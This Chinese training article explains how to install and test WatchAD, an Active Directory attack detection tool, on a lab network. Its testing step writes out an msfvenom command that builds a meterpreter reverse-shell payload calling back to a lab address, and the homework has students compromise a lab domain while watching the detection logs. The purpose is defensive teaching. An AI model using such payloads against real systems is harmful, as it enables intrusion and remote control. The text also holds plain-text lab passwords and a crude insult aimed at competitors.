长亭百川云 - 文章详情

watchAD的调试及使用

农夫安全团队

68

2024-07-13

watchAD的调试及使用

一 前言

目前支持的具体检测功能如下:

信息探测:使用SAMR查询敏感用户组、使用SAMR查询敏感用户、蜜罐账户的活动、PsLoggedOn信息收集•凭证盗取:Kerberoasting (流量)、AS-REP Roasting、远程Dump域控密码•横向移动:账户爆破、显式凭据远程登录、目标域控的远程代码执行、未知文件共享名、Kerberos票据加密方式降级(流量)、异常的Kerberos票据请求(流量)•权限提升:ACL修改、MS17-010攻击检测、新增组策略监控、NTLM 中继检测、基于资源的约束委派权限授予检测、攻击打印机服务 SpoolSample、未知权限提升、MS14-068攻击检测(流量)、Kerberos约束委派滥用(流量)•权限维持:AdminSDHolder对象修改、DCShadow攻击检测、DSRM密码重置、组策略委派权限授予检测、Kerberos约束委派权限授予检测、敏感用户组修改、域控新增系统服务、域控新增计划任务、SIDHistory属性修改、万能钥匙-主动检测、万能钥匙-被动检测(流量)、黄金票据(流量)•防御绕过:事件日志清空、事件日志服务被关闭

二 基础环境搭建

watchADserver: 10.100.0.101 用户名:root  密码:Abc123!

watchADserver操作系统使用centos8,在完成系统安装后,需要完成的内容如下:

 关闭selinux

AD域控服务器操作系统使用Windows2008,在完成系统安装后,需要完成的内容如下:

配置IP地址信息,修改DNS为127.0.0.1

三 watchAD server端安装调试

3.1 安装elasticsearch

安装java基础环境

[root@watchAD1 ~]# yum -y install java-1.8.0-openjdk.x86_64

/etc/yum.repos.d/中创建elasticsearch.repo文件,内容如下:

[elasticsearch-5.x]

[root@watchAD1 ~]# cd /etc/yum.repos.d/
[root@watchAD1 yum.repos.d]# vi elasticsearch.repo
[root@watchAD1 yum.repos.d]# dnf install -y elasticsearch

编辑

/etc/elasticsearch/elasticsearch.yml文件,

修改内容如下:

cluster.name: my-application

[root@watchAD1 ~]# systemctl start elasticsearch
[root@watchAD1 ~]# systemctl enable elasticsearch.service

3.2 安装logstash

ELK官网下载RPM包,链接:https://artifacts.elastic.co/downloads/logstash/logstash-6.4.1.rpm

[root@watchAD1 ~]# wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.1.rpm

[root@watchAD1 ~]# rpm -ivh logstash-6.4.1.rpm

编辑

/etc/logstash/logstash.conf

使其内容如下(配置文件内容复制自watchAD代码中的settings/logstash/logstash.conf):

input {

[root@watchAD1 ~]# cd /usr/share/logstash/bin

[root@watchAD1 bin]# ./logstash -f /etc/logstash/logstash.conf

不建议先运行此命令,配置文件中的rabbitmq还未安装,启动logstash会出现RabbitMQ connection error的报错。

3.3 安装mongodb

配置mongodbyum源,编辑文件/etc/yum.repos.d/mongodb.repo,内容如下:

[mongodb-org-4.2]

[root@watchAD1 ~]# dnf -y install mongodb-org

[root@watchAD1 ~]# systemctl start mongod

[root@watchAD1 ~]# systemctl enable mongod

[root@watchAD1 ~]# mongo

进入到mongodb的命令行后,通过如下指令创建用户(由于watchAD配置文件中写入了口令,为此不要更改为自定义,直接复制即可)

3.4 安装rabbitmq

配置rabbitmqyum源,编辑文件/etc/yum.repos.d/rabbitmq.repo,内容如下:

[rabbitmq_erlang]

[root@watchAD1 ~]# dnf -y install rabbitmq-server.noarch (此步骤时间会较长,网络中断可重新运行几次即可)

完成安装后,需要配置rabbitmq的口令及权限,依照watchAD中的配置文件建立对应的口令,命令如下:

[root@watchAD1 ~]# systemctl start rabbitmq-server

[root@watchAD1 ~]# rabbitmqctl set_user_tags WatchAD administrator

[root@watchAD1 ~]# rabbitmqctl set_permissions -p / WatchAD '.' '.' '.*'

[root@watchAD1 ~]# systemctl restart rabbitmq-server

[root@watchAD1 ~]# systemctl enable rabbitmq-server

3.6 安装redis

[root@watchAD1 ~]# dnf -y install redis

[root@watchAD1 ~]# systemctl enable redis

3.7 重新启动logstash

[root@watchAD1 ~]# cd /usr/share/logstash/bin/

[root@watchAD1 bin]# ./logstash -f /etc/logstash/logstash.conf &

3.8 安装python3及python模块

[root@watchAD1 ~]# dnf install -y python36

[root@watchAD1 ~]# pip3 install wheel

[root@watchAD1 ~]# yum -y install git

[root@watchAD1 ~]# git clone https://gitee.com/mirrors/watchad.git

[root@watchAD1 ~]# git clone https://gitee.com/xzwwzw/WatchAD-Web.git

[root@watchAD1 ~]# cd watchad/

[root@watchAD1 watchad]# pip3 install -r requirements.txt

3.9 安装watchad

修改settings/winlogbeat/winlogbeat.ymlhosts内容为watchad服务器地址

检测watchad的数据库相关信息

[root@watchAD1 watchad]# python3 WatchAD.py --check

安装watchad

python3 WatchAD.py --install -d farmsec.com -s 10.100.0.102 -u farmsec\\administrator -p Abc123!

上述命令中,主要参数为AD域控服务器的相关信息,值得注意的是-u参数的域名与用户名的格式。

通过如下指令启动watchad

[root@watchAD1 watchad]# python3 WatchAD.py --start

四 watchAD web的安装调试

4.1 修改WatchAD-Webfrontend/.env.productionfrontend/.env.development文件的IP信息,修改为watchad的地址即可。

ps:网上的教程中,提到需要修改server/config/database_config.py,将127.0.0.1全部替换为外网口IP,个人感觉貌似由于拆开安装的方式不需要,所以没做~

4.2 安装docker

curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo

4.3 安装watchad-web

[root@watchAD1 WatchAD-Web]# docker-compose build

[root@watchAD1 WatchAD-Web]# docker-compose up -d

启动成功后,使用浏览器访问http://IP//activity_timeline.html#/确认web页面可成功打开。

其中一个未解决的问题是Dashboard页面打开为空白。但查看警报为问题,反正也不影响用。

五 AD域端的调试

5.1 打开windows日志审计

通过开始菜单-->管理工具-->本地安全策略-->本地策略-->审核策略,打开全部项目项目审计

5.2 下载winlogbeat-6.2.0-windows-x86_64,kali中下载即可。

wget https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-6.2.0-windows-x86_64.zip

解压缩后,将winlogbeat.yml内容清空后,添加如下内容(其中IP地址为watchAD主机地址),随后上传至windows AD域服务器。

winlogbeat.event_logs:

启动powershell,执行如下指令:

cd 'C:\share\winlogbeat-6.2.0-windows-x86_64'

PowerShell.exe -ExecutionPolicy UnRestricted -File .\install-service-winlogbeat.ps1 .\winlogbeat.exe -e -c .\winlogbeat.yml

如果能看到EventLog succesfull的字样应该问题就不大了:)

六 watchAD的使用

6.1 生成msf后面并上线测试

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.100.0.100 LPORT=4444 -f exe -o farmsec.exe

然后观察watchAD的日志反馈情况。

6.2 使用cs上线木马进行测试

提权+新建用户+持久化访问等等

然后观察watchAD的日志反馈情况。

七 课后作业

7.1 思考部分

watchAD的工作原理是哪样?
假如你是产品的开发者,你下一步完善哪些细节的内容?
当使用metasploit或者CS攻击时,操作系统端的日志会提供哪些有价值的信息可供参考?
如何更为接近原理的方式,在AD域内发现hash传递、黄金票据等攻击的痕迹并该如何做出判断及响应?
如何根据逻辑规划出针对AD安全更为好用的解决方案(抛弃web界面或通用产品)

7.2 实验部分

以小组为单位,构建一个更接近真实环境的AD域环境,如域控、文件服务器、客户端等。

搭建好watchAD的环境后,通过之前内网的课程,进行内网漫游、提权、AD域渗透等,直至获取所有的服务器system权限及持久化访问。

期间观察每个动作在windows日志及watchAD中的痕迹。

给未来的学生的建议

如果这个实验,对网络的压力没那么大的情况下,watchAD会与另外5-6个安全防御的知识点构成一天的教学内容。

然后他们会下午复习,晚上实验、思考,而现在只能拆分出来后,变成休息日的自修内容。

你可以思考下,要完成这个实验所需要的内容:

(1).技能方向:

要完成这个作业的人们,今年三月份的时候,我还在B站直播从cd、ls开始教,五个月以后现在我们开始探讨攻防对抗的东西了。

简单来说,我们的课程体系适应不了那种过于低级的思考方式:

比如说我们根本没有办法提供同行所能提供的那种知识点的图表,半年的课程如果拆分成那样,起步5000个,如果想,我能上万。

比如说教学的初期,我们必须要让学员有一个足够厚实的底子能去支撑到后面的内容,但是如果遇到一些期待速成的人,他的评价就会是运维,然后实验我不做,亦或者其他的内容。

比如说我们遇到的一些"聪明人"卡梦想班的bug,或者这话可以这样说,我希望遇到的人,是明白一些能让自我更好的道理,也有自我的驱动力,而"在农夫学习,没找到工作不用付学费"这句话,应该是我说,而不是你说,因为如果一个人给自己留了退路,那就一定会走上退路......

我的某些同行的们,他们现在最擅长的是让我们的知乎账号被封禁,也同样擅长买个阿里云主机,就包装成阿里巴巴的战略合作伙伴。

这是我们对他们的中肯的一句评价:

整天就他妈整这老娘们儿事儿!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2